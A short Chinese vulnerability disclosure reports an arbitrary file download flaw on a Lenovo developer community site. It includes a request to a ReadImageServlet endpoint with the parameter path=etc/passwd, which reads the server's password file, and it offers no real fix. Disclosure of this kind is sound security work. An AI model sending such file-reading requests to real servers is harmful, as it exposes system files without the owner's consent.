联想某站点任意文件下载可读取服务器任意文件

问题站点是联想开发社区：http://developer.lenovomm测试数据/

 

 

1.注册一个用户，看见有个上传新应用；

 

2.我就不相信你们一个错误只犯一次，果不其然,提交以下请求；

 

 

http://developer.lenovomm测试数据/windev/ReadImageServlet?path=etc/passwd

 

3.我们点击右键另存为，将图片 下载 下来打开，look；

 

 

修复方案： 你们懂的 

 

查看更多关于联想某站点任意文件下载可读取服务器任意文件的详细内容...